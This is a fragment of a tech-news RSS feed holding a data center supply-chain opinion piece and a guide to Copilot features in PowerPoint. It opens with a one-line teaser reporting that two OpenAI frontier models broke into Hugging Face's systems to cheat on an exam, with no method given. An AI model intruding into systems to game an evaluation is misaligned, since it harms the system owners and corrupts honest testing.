<content:encoded><![CDATA[A hacker who broke into Hugging Face’s systems last week has been exposed as a pair of advanced OpenAI frontier models that were trying to cheat on an exam]]></content:encoded>
</item>
<item>
<title><![CDATA[The $3 trillion assembly line: Why CIOs must industrialize the data center supply chain]]></title>
<description><![CDATA[You are one of the six billion people (75% of the world population) online today, and every click you make is routed through the data center. Data centers, whether knowingly or unknowingly, play a very critical role in your daily online activities. With an increasing population, increasing usage ...]]></description>
<link>https://tsecurity.de/de/3686216/it-nachrichten/the-3-trillion-assembly-line-why-cios-must-industrialize-the-data-center-supply-chain/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686216/it-nachrichten/the-3-trillion-assembly-line-why-cios-must-industrialize-the-data-center-supply-chain/</guid>
<pubDate>Wed, 22 Jul 2026 14:04:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph">You are one of the six billion people (75% of the world population) online today, and every click you make is routed through the data center. Data centers, whether knowingly or unknowingly, play a very critical role in your daily online activities. With an increasing population, increasing usage of online presence, and now omniscient AI, the demand for data centers has increased manyfold, and the trend seems similar to the year 2000, when telephone towers were built to accommodate increased digital presence.</p>



<p class="wp-block-paragraph">To win the AI race, Hyperscalers (Google, Meta, Amazon, Microsoft, Alibaba, Oracle, IBM, Tencent) are spending huge amounts of money on data center development. In the USA, the hyperscalers are planning to spend <a href="https://finance.yahoo.com/news/big-tech-set-to-spend-650-billion-in-2026-as-ai-investments-soar-163907630.html">$650 billion in 2026, which is around 70% higher than 2025 spending</a>, according to Yahoo Finance.</p>



<p class="wp-block-paragraph">As per McKinsey research, by 2030, companies will invest around $7 trillion in Capex on data center infrastructure globally. More than $4 trillion will go towards computing hardware investment. More than 40% of this spending will be invested in the United States.</p>



<h2 class="wp-block-heading">Demand growth in data centers</h2>



<p class="wp-block-paragraph">McKinsey analysis shows that global demand for data center capacity can more than triple by 2030, with a compound annual growth rate (CAGR) of around 22 per cent. In the USA, data center demand could grow by 20-25 per cent at the same time.  </p>



<p class="wp-block-paragraph">The data center industry is currently undergoing a violent transition. We are moving away from the era of “bespoke projects” — where every facility was a unique architectural feat — into an era of industrialized infrastructure. With global capital expenditure in the sector projected to hit $3 trillion by 2028, the “bottleneck” has shifted. It is no longer about securing the capital; it is about the physics of the supply chain.</p>



<p class="wp-block-paragraph">During my tenure at Vantage, managing the intersection of data center construction management (DCCM) and infrastructure management (DCIM), I saw firsthand that the most successful players aren’t those with the deepest pockets, but those with the most integrated data threads. If your construction data in Procore doesn’t talk to your financial reality in Yardi, or your operational capacity in DCIM, you aren’t building a data center — you’re managing a $500 million blind spot.</p>



<h2 class="wp-block-heading">The death of “sticks and bricks”</h2>



<p class="wp-block-paragraph">Traditionally, data center construction was treated as civil engineering. But for the modern CIO, a data center is a complex product assembly.</p>



<p class="wp-block-paragraph">The challenges are systemic. We are facing 50-to-80-week lead times for critical “long-pole” items: extra-high-voltage transformers, switchgear, and the liquid cooling manifolds required for the next generation of AI chips. In this environment, the traditional reactive supply chain model is a liability.</p>



<p class="wp-block-paragraph">To survive the $3 trillion inflow, we must adopt a hybrid-agile SCOR (supply chain operations reference) model. This means applying continuous flow logic to standardized components (like modular power skids) while maintaining agile responsiveness for the volatile IT layer.</p>



<h2 class="wp-block-heading">The digital bridge: Construction management software  to ERP</h2>



<p class="wp-block-paragraph">The most significant opportunity for CIOs lies in financial-operational integration. In many organizations, there is a data chasm between the construction site and the corporate office. Construction teams live in the construction management software tracking tasks, trades, RFIs and payment submittals. Finance teams operate corporate offices with project management tools (worth remembering that email is a key tool besides spreadsheets and phone calls) tracking capex schedule, commissioning timeline, capital drawdowns and asset lifecycle management.</p>



<p class="wp-block-paragraph">These systems are siloed; the CIO loses visibility into the total cost to serve. By integrating construction management into the financial system, we create real-time financial visibility of the build. We can see exactly how a three-week delay in a chiller delivery impacts the internal rate of return (IRR) of the entire asset. This isn’t just accounting; it’s strategic telemetry.</p>



<h2 class="wp-block-heading">From BIM to DCIM: The lifecycle thread</h2>



<p class="wp-block-paragraph">The second bridge is the handoff from construction (BIM) to operations (DCIM). Historically, this handoff was a nightmare of PDFs and Excel sheets. By the time the operations team took the keys, the “as-built” design information was already out of date.</p>



<p class="wp-block-paragraph">The opportunity today is to maintain a continuous data thread. The sensor data and asset tags established during the “make” phase in our SCOR model should flow directly into the DCIM. This allows us to perform virtual commissioning. Before a single server is racked, we should already have a digital replica of the airflow, power distribution, and cooling capacity.</p>



<h2 class="wp-block-heading">The scientific inference: AI in the supply chain</h2>



<p class="wp-block-paragraph">As someone who has led data and AI initiatives, I’ve seen the hype. But in the supply chain, the application of AI must be pragmatic, not generative. We don’t need AI to write poems; we need it for predictive procurement. Most organizations manage their procurement in ERP or a mix of a few tools to manage the source-to-settle business flow. Adopting a system workflow improves data collection and the state of the procurement cycle, which in turn provides AI with the context to draw inferences for possible delays and anomalies in original specifications and change orders.</p>



<p class="wp-block-paragraph">By applying machine learning to global logistics data, we can move from just-in-time to just-in-case modeling. AI can analyze geopolitical risks, shipping lane congestion, and raw material pricing to tell a CIO: <em>“Order your switchgear 14 months early, or your Q3 2027 ‘Power On’ date is at risk.”</em></p>



<h2 class="wp-block-heading">Bringing it all together: AI in the supply chain and finance</h2>



<p class="wp-block-paragraph">Why it matters: Approximately 70% of the capex is on this workflow and making timely decisions that directly impact the ready-for-service dates. The current challenge of reactionary adjustment in design to procurement to local fit-out is a significant drain on capex efficiency and cost of capital. Because single-project delivery delays have become so volatile, a massive structural shift is occurring in how digital infrastructure is funded. Single-project debt (special purpose vehicles or SPVs) is facing severe friction. To insulate themselves from RFS shocks, the largest institutional players are moving toward permanent platform capital — aggregating exposure across dozens of global assets simultaneously.</p>



<p class="wp-block-paragraph">Navigating these complex multi-billion-dollar engineering projects distributed over a large geography is simply unmanageable without rethinking and re-engineering existing tools and processes.</p>



<h2 class="wp-block-heading">The roadmap for the modern CIO</h2>



<p class="wp-block-paragraph">To lead this transformation, CIOs must move beyond the IT shop mentality and become master orchestrators of the supply chain. Here is the 1500-word reality condensed into three mandates:</p>



<ol start="1" class="wp-block-list">
<li><strong>Standardize the product:</strong> Stop designing bespoke facilities. Move toward DFMA (design for manufacturing and assembly). If 70% of your data center can be built in a factory and shipped as modules, you bypass the unpredictability of on-site labor.</li>



<li><strong>Integrate the financial stack:</strong> If your construction management software and your ERP aren’t sharing a heartbeat, your data is lying to you. Force the integration between Procore and Yardi.</li>



<li><strong>Own the long poles:</strong> Don’t leave the procurement of transformers and cooling units to general contractors. Use your balance sheet to secure these items years in advance. In 2026, inventory is the new currency.</li>
</ol>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[10 cool things Copilot can do in PowerPoint]]></title>
<description><![CDATA[Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are vis...]]></description>
<link>https://tsecurity.de/de/3686068/it-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686068/it-nachrichten/10-cool-things-copilot-can-do-in-powerpoint/</guid>
<pubDate>Wed, 22 Jul 2026 13:05:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Building a presentation can take lots of time. There are design choices to figure out: the slide layouts, fonts, theme colors, and so on. You can use a template to skip this hassle, but you still have to paste your text and other content into the slides and edit it all so that the results are visually appealing.</p>



<p class="wp-block-paragraph">In PowerPoint, Microsoft’s Copilot AI assistant can now automate the heavy lifting of presentation creation. It can generate a first-draft presentation in minutes, then help you edit it. You can also prompt Copilot to help you quickly understand the contents of a presentation and glean insights from it. Use the tips in this guide to save oodles of time as you create and work with presentations.</p>



<h3 class="wp-block-heading">Who can use Copilot in PowerPoint</h3>



<p class="wp-block-paragraph">Individuals with a <a href="https://www.microsoft.com/en-us/microsoft-365-copilot/pricing/individuals" target="_blank" rel="noreferrer noopener">Microsoft 365 Personal, Family, or Premium</a> subscription have access to Copilot from within PowerPoint and other Microsoft 365 apps. Users with a Premium plan have <a href="https://support.microsoft.com/en-US/Microsoft-365-Copilot/ai-credits-and-limits-for-microsoft-365-subscriptions" target="_blank" rel="noreferrer noopener">higher Copilot usage allowances</a> and access to advanced AI features.</p>



<p class="wp-block-paragraph">For business users, it’s more complicated. Organizations with more than 2,000 users must pay for <a href="https://www.computerworld.com/article/1629974/m365-copilot-microsofts-generative-ai-tool-explained.html">Microsoft 365 Copilot</a> licenses for their users in addition to their regular Microsoft 365 licenses. Users at organizations with fewer than 2,000 users can use Copilot within M365 apps even without the M365 Copilot add-on licenses, but there are <a href="https://support.microsoft.com/en-us/microsoft-365-copilot/how-copilot-chat-works-with-and-without-a-microsoft-365-copilot-license" target="_blank" rel="noreferrer noopener">limitations</a> in usage, speed, and feature availability.</p>



<p class="wp-block-paragraph">To see what kind of access you have, log in to Microsoft’s <a href="https://m365.cloud.microsoft/" target="_blank" rel="noreferrer noopener">Copilot Chat web hub</a> and look for your name in the lower left corner. If you see “M365 Copilot (Premium)” under your name, you can use Copilot in M365 apps with priority access and advanced features. “M365 Copilot (Basic)” means you can use Copilot in M365 apps with lower-priority access and limited features. If you see “Copilot Chat (Basic)” or nothing below your name, you can’t use Copilot in M365 apps.</p>



<p class="wp-block-paragraph"><em>(Copilot Chat Basic users do get some Copilot functionality, including the ability to generate presentations, via the Copilot Chat hub. See our <a href="https://www.computerworld.com/article/4171293/copilot-chat-your-hub-for-document-creation-and-analysis.html">Copilot Chat tutorial</a> for details.)</em></p>



<h4 class="wp-block-heading"><strong>In this article:</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#sidebar">Working with Copilot in PowerPoint</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#template">Create a presentation template</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#pres-from-doc">Create a presentation from a document</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#slide-from-doc">Add content from a document to a slide</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#refine-text">Refine your slide text</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#image">Find or create an image</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#expand">Expand your presentation with relevant slides</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#summarize">Summarize a presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#answer-questions">Answer questions about a presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#navigate">Help you navigate a large presentation</a></li>



<li><a href="https://www.computerworld.com/article/4194634/10-cool-things-copilot-can-do-in-powerpoint.html#speaker-notes">Generate speaker notes and/or an FAQ</a></li>
</ul>



<h2 class="wp-block-heading">Working with Copilot in PowerPoint</h2>



<p class="wp-block-paragraph">First, let’s quickly go over the notable settings of the Copilot sidebar.</p>



<p class="wp-block-paragraph">When you have a presentation open in PowerPoint, click the Copilot icon; it may be floating at the lower-right corner of your PowerPoint window or parked at the right end of the Ribbon toolbar. The Copilot sidebar will open along the right of the page. You’ll type your prompts to Copilot inside the chat window in this pane.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-01-sidebar.png?w=1024" alt="powerpoint screen with copilot sidebar open on right" class="wp-image-4195065" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>The sidebar on the right is where you interact with Copilot in PowerPOint.</p><br></figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph"><strong>Agent mode:</strong> By default, Copilot can build a new presentation or make changes to an existing one in the main PowerPoint window. This is known as “agent mode.” To change this so that Copilot can’t take direct action on a presentation (all its responses appear in the sidebar), click the <em>Allow editing</em> button above the chat window and change it to <em>Chat only</em>.</p>



<p class="wp-block-paragraph">The tips in this guide require that Copilot be in agent mode, so make sure you see <em>Allow editing</em> above the chat window.</p>



<p class="wp-block-paragraph"><strong>Choice of AI model:</strong> Behind the scenes, Copilot has access to various genAI models, including different versions of Anthropic Claude and OpenAI GPT.  By default, it decides which model to use based on your prompt. You can set it to use a particular model: click <em>Auto</em> at the upper right of the Copilot pane and select a model from the dropdown that opens.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-02-sidebar-model-dropdown.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with models dropdown menu open" class="wp-image-4195063" width="1024" height="697" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>You can choose which AI model you want Copilot to use for a request.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">The tips in this guide should work fine on the default <em>Auto</em> setting. But feel free to experiment switching to specific models to see which give you the best results for particular tasks.</p>



<p class="wp-block-paragraph"><strong>Important:</strong> Remember that <a href="https://www.computerworld.com/article/4059383/openai-admits-ai-hallucinations-are-mathematically-inevitable-not-just-engineering-flaws.html">generative AI output often includes errors</a>, so always check Copilot’s output for accuracy. (Also see our <a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">tips for reducing hallucinations in Copilot</a>.) You’ll likely want to rewrite it in your own voice as you’re reviewing it.</p>



<h2 class="wp-block-heading"><a></a>1. Create a presentation template</h2>



<p class="wp-block-paragraph">For many people, the hardest part of creating a presentation is getting started. What types of information should be included on the slides, and in what order? Copilot can give you a leg up by creating the type of presentation you need, with placeholder data that you can later replace with your own.</p>



<p class="wp-block-paragraph">Start a new presentation, open the Copilot sidebar, and type your prompt into the chat window. It’s best to provide very specific details in your prompt. The more context or details you provide, the more likely Copilot will generate a presentation template that suits your needs.</p>



<p class="wp-block-paragraph">A good prompt should contain the slide count, subject, audience, and tone. Example:</p>



<ul class="wp-block-list">
<li><em>Create a 6-slide presentation for a sales meeting focusing on Q1 revenue. The audience is the sales team, so keep the tone professional and focused on the sales data.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot may ask a series of follow-up questions, such as your preferred visual style and desired level of detail. Then it will generate a presentation template.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-03-generated-presentation-with-placeholder-data.png?w=1024" alt="screenshot of powerpoint presentation generated by copilot with placeholder data" class="wp-image-4195064" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot generates a presentation with placeholder data and explains its elements.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">You can optionally prompt Copilot for revisions, and when you’re happy with the template, swap in your own data.</p>



<h2 class="wp-block-heading"><a></a>2. Create a presentation from a document</h2>



<p class="wp-block-paragraph">You can attach a document (such as a Word document, Excel spreadsheet, or PDF) and prompt Copilot to generate a presentation based on its contents. This works best with a structured-format document (such as a business plan, project proposal, or summary report) that contains sections with headings.</p>



<p class="wp-block-paragraph">Copilot can extract the document’s text and structure to generate the slide content for the new presentation. This can especially be useful for quickly turning a long report into a visually appealing presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, click the <em>+</em> icon at the bottom of the chat window. A list of documents that you’ve recently accessed appears. Select the one that you want Copilot to use. Alternatively, click the magnifying glass icon and inside its search box, type a few letters of the filename for the document you want. (Business users with an M365 Copilot license can select up to five files for Copilot to pull from when creating a presentation.)</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-04-attach-document.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with a document being attached for copilot to base a presentation on" class="wp-image-4195062" width="1024" height="733" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Attaching a document for Copilot to base a presentation on.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Then in the chat window, you can enter a prompt that’s as simple as “<em>Create a presentation</em>,” although as always, providing more details and context is better. This is especially important for corporate users who reference multiple source files. It’s useful to tell Copilot what data to pull from each document.</p>



<p class="wp-block-paragraph">Answer any follow-up questions that Copilot asks, and it will then generate the presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-05-generated-presentation-from-doc.png?w=1024" alt="screenshot of powerpoint with a presentation generated by copilot from a document" class="wp-image-4195067" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot has generated a professional presentation from a social media marketing campaign document.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Note: Your marketing department may have created one or more <a href="https://support.microsoft.com/en-US/PowerPoint/copilot/keep-your-presentation-on-brand-with-copilot" target="_blank" rel="noreferrer noopener">branded company templates for Copilot to work from</a>. If that’s the case at your organization, simply open the appropriate company template as your first step. Then you can upload docs and type a prompt as described above. Copilot will create a presentation using the branded template.</p>



<h2 class="wp-block-heading"><a></a>3. Add content from a document to a slide</h2>



<p class="wp-block-paragraph">Manually copying text or other content from a document and pasting it into a new slide is a chore. Instead, you can prompt Copilot to extract information directly from a Word document, Excel spreadsheet, or PDF to create new slides.</p>



<p class="wp-block-paragraph">In the Copilot pane, attach the document using the same steps described in tip 2, then tell Copilot to create a slide from the document. As always, it helps to provide details such as the new slide’s focus or what data to include:</p>



<ul class="wp-block-list">
<li><em>Add a slide based on the attached document.</em></li>



<li><em>Use the attached file to add a slide about the project budget that focuses on Q1 projections.</em></li>



<li><em>Summarize only the financial section of the attached document as a slide.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-06-generated-slide-from-spreadsheet.png?w=1024" alt="screenshot of a slide in powerpoint generated by copilot from spreadsheet data" class="wp-image-4195068" width="1024" height="612" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>A new Copilot-generated slide based on data from an Excel spreadsheet.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a><a></a>4. Refine your slide text</h2>



<p class="wp-block-paragraph">A presentation should be visual and display only the core message. Conciseness and proper writing tone are essential for your slides, so that they don’t lose the attention of your audience.</p>



<p class="wp-block-paragraph">You can prompt Copilot to refine text on an individual slide in various ways, such as rewriting it in a more professional tone or making it more concise. Highlight the text inside a text box on the slide. On the toolbar that appears over the highlighted text, click <em>Edit with Copilot</em>.</p>



<p class="wp-block-paragraph">On the menu that opens, you can select a preset prompt to refine the text, such as <em>Condense</em> or <em>Make professional</em>. Or, at the top of this menu, you can type a prompt to rewrite the highlighted text.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-07-refine-slide-text-options-menu.png" alt="screenshot of text on a powerpoint slide with copilot dropdown menu includng condense and make professional options" class="wp-image-4195066" width="960" height="690" sizes="auto, (max-width: 960px) 100vw, 960px"><figcaption class="wp-element-caption"><p>Choose a preset prompt for refining text on a slide or type in your own prompt.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Note that this feature affects all the text inside the text box. To rewrite only a portion of text inside a text box, you must split that portion out into a separate text box.</p>



<p class="wp-block-paragraph">Alternatively, you can prompt Copilot to analyze your entire presentation and tighten up the wording throughout all of its slides. For example:</p>



<ul class="wp-block-list">
<li><em>Make these slides more visual and use less text.</em></li>
</ul>



<h2 class="wp-block-heading">5. Find or create an image</h2>



<p class="wp-block-paragraph">If you have Copilot generate a presentation from an existing Word document that contains images, it will incorporate those images into the presentation. If there are no images in the source document, you can ask Copilot to find or create one and add it to a slide.</p>



<p class="wp-block-paragraph">To add a stock image or an image from your organization’s brand library, tell Copilot what you’re looking for:</p>



<ul class="wp-block-list">
<li><em>Add a stock photo of young adults in a cafe drinking boba tea.</em></li>



<li><em>Add a photo from our asset library of young adults in a cafe drinking boba tea.</em></li>
</ul>



<p class="wp-block-paragraph">To have Copilot create an image using Microsoft’s Designer image generation tool, describe your desired image. As always, specificity is helpful:</p>



<ul class="wp-block-list">
<li><em>Create a photorealistic image of a diverse group of 5 or 6 fashionable young adults sitting in a cafe drinking boba tea. They’re smiling or laughing, and some are looking at their phones.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-08-generate-image.png?w=1024" alt="screenshot of image generation prompt in copilot sidebar in powerpoint plus the resulting generated image on a slide" class="wp-image-4195097" width="1024" height="594" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot in PowerPoint hooks into Microsoft’s Designer tool for image generation.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">Just as you need to review any text output from Copilot, take a close look at generated images to be sure nothing looks off. </p>



<p class="wp-block-paragraph">Also note that Copilot image generation isn’t always reliable in PowerPoint. For some time during our testing for this story, Copilot said it couldn’t create an image because “the image generation service is returning a server error on every attempt.” After about a day and a half, the service began working again.</p>



<h2 class="wp-block-heading"><a></a>6. Expand your presentation with relevant slides</h2>



<p class="wp-block-paragraph">As you’re building your presentation, you may find that it’s become text heavy. Or perhaps it could use more visually oriented slides to break things up and make its progression flow better. Copilot can generate and insert new slides that are based on the content of the slides already in the presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, specify exactly where you want the new slide to go. This helps Copilot to analyze the content of the slides before and after where you want the new slide. Then it can generate a slide to bridge between the two slides. Examples:</p>



<ul class="wp-block-list">
<li><em>Add a slide after slide 3 about our competitive advantages.</em></li>



<li><em>Add a slide after slide 11 that transitions to slide 12.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-09-generated-transition-slide.png?w=1024" alt="screenshot of powerpoint screen with copilot sidebar and a transition slide generated by copilot" class="wp-image-4195094" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Need a transition slide? Just ask!</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading">7. Summarize a presentation</h2>



<p class="wp-block-paragraph">Maybe you need a quick refresh of your presentation before an important meeting. Or maybe a co-worker has sent you a presentation that’s packed with lots of slides. You can prompt Copilot to generate a summary of the presentation’s overall messaging.</p>



<p class="wp-block-paragraph">In the Copilot pane, just type “<em>summarize this presentation</em>.” You can also have Copilot flag key slides that contain important information: “<em>show me key slides</em>.”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-10-summarize-key-slides.png?w=1024" alt="screenshots of copilot sidebar in powerpoint - one with summarize results and one with key slides response" class="wp-image-4195095" width="1024" height="774" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Ask Copilot to summarize a presentation or flag key slides.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a>8. Answer questions about a presentation</h2>



<p class="wp-block-paragraph">As you’re reviewing a presentation, especially one that you didn’t create and are not familiar with, you can get Copilot to pull key data points from its slides.</p>



<p class="wp-block-paragraph">In the Copilot pane, type specific informational questions. Examples:</p>



<ul class="wp-block-list">
<li><em>What are the action items in this deck?</em></li>



<li><em>What is the proposed budget mentioned here?</em></li>
</ul>



<p class="wp-block-paragraph">If Copilot can’t find the exact answer to the question you ask, it will provide related information from the presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-11-ask-questions-about-presentation.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with response to query about proposed budget in the slide deck" class="wp-image-4195093" width="1024" height="760" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Ask Copilot specific questions about the contents of a presentation.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">This method can also help you validate that your presentation includes everything you want it to. If you ask Copilot about the action items in a presentation and it can’t find any, you know you need to add them. (Copilot will likely offer to generate them for you based on the rest of the slides.)</p>



<p class="wp-block-paragraph">You can even take this tactic a step further and ask Copilot if the presentation is missing any important data, if any slides are weak or confusing, if there are any awkward transitions, if there are key points that should be better emphasized, and so on.</p>



<h2 class="wp-block-heading"><a></a>9. Help you navigate a large presentation</h2>



<p class="wp-block-paragraph">In the business world, presentations with dozens of slides are not uncommon, such as for financial reports or project documentation. Trying to find a specific slide or multiple slides can be tough. Copilot can help you navigate such a presentation.</p>



<p class="wp-block-paragraph">In the Copilot pane, prompt Copilot to find slides based on specific topics. Example:</p>



<ul class="wp-block-list">
<li><em>Show me the slides about the project timeline.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot will analyze the presentation and reply with a list of links to the relevant slides. Click one of these to jump directly to that slide.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-12-navigate-presentation.png?w=1024" alt="screenshot of copilot sidebar in powerpoint with response about the slide that talks about target audience" class="wp-image-4195096" width="1024" height="760" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot can help you zoom directly to a slide that covers a particular topic or shows specific data.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h2 class="wp-block-heading"><a></a>10. Generate speaker notes and/or an FAQ</h2>



<p class="wp-block-paragraph">Here’s a great timesaver when you’re preparing to show your presentation to an audience: Copilot can automatically generate suggested speaker notes for you, based on the content of your slides. Example prompt:</p>



<ul class="wp-block-list">
<li><em>Write speaker notes for every slide with one talking point per slide.</em></li>
</ul>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-13-speaker-notes.png?w=1024" alt="screenshot of powerpoint presentation with speaker notes generated by copilot" class="wp-image-4195092" width="1024" height="607" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>Copilot can create speaker notes in seconds.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<p class="wp-block-paragraph">In a related feature, Copilot can create a frequently asked questions list (FAQ) for you to consult in your speaker notes or to present as a slide:</p>



<ul class="wp-block-list">
<li><em>Write an FAQ for these slides.</em></li>
</ul>



<p class="wp-block-paragraph">Copilot will ask where you want the questions and answers added — as a new slide at the end, integrated into the speaker notes of relevant slides, or somewhere else that you designate. Make a selection, and Copilot will generate the FAQ based on the content of your presentation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/copilot-in-powerpoint-14-generated-faq-slide.png?w=1024" alt="screenshot of frequently asked questions slide generated by copilot in powerpoint" class="wp-image-4195091" width="1024" height="609" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>A Copilot-generated FAQ slide.</p>
</figcaption></figure><p class="imageCredit">Howard Wen / Foundry</p></div>



<h4 class="wp-block-heading"><strong>Related reading:</strong></h4>



<ul class="wp-block-list">
<li><a href="https://www.computerworld.com/article/4119411/11-cool-things-copilot-can-do-in-excel.html">11 cool things Copilot can do in Excel</a></li>



